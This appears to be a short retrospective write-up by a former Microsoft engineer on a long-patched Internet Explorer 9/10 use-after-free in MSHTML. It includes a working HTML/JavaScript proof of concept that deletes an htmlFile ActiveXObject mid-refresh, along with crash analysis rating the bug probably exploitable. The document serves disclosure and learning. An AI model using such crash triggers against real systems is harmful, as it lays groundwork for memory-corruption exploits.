This crash was surprisingly compact. Creating an htmlFile ActiveXObject, initializing its Trident with open()/close(), executing a Refresh command, and then immediately deleting the reference caused a probably-exploitable write access violation near null. The refresh kicks off an async operation, and deleting the reference pulls the rug out while that operation is still in flight.

<script language="JavaScript">
function main()
{
    var axDoc = new ActiveXObject("htmlFile");
    axDoc.open(); axDoc.close();

    axDoc.execCommand("Refresh");

    delete axDoc; // Crash!
}
</script>
<input type="button" onclick="main();" value="CrashMe">

The crash occurs in MSHTML!CBlockedUrlList::ClearList during the COmWindowProxy::SwitchMarkup call that the refresh triggers. Deleting axDoc decrements the reference count to zero while the markup switch is still in progress, causing a RtlEnterCriticalSection call on an already-freed lock object. The crash was rated PROBABLY_EXPLOITABLE and reproduced on both IE9 RTM and IE10 Platform Preview.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.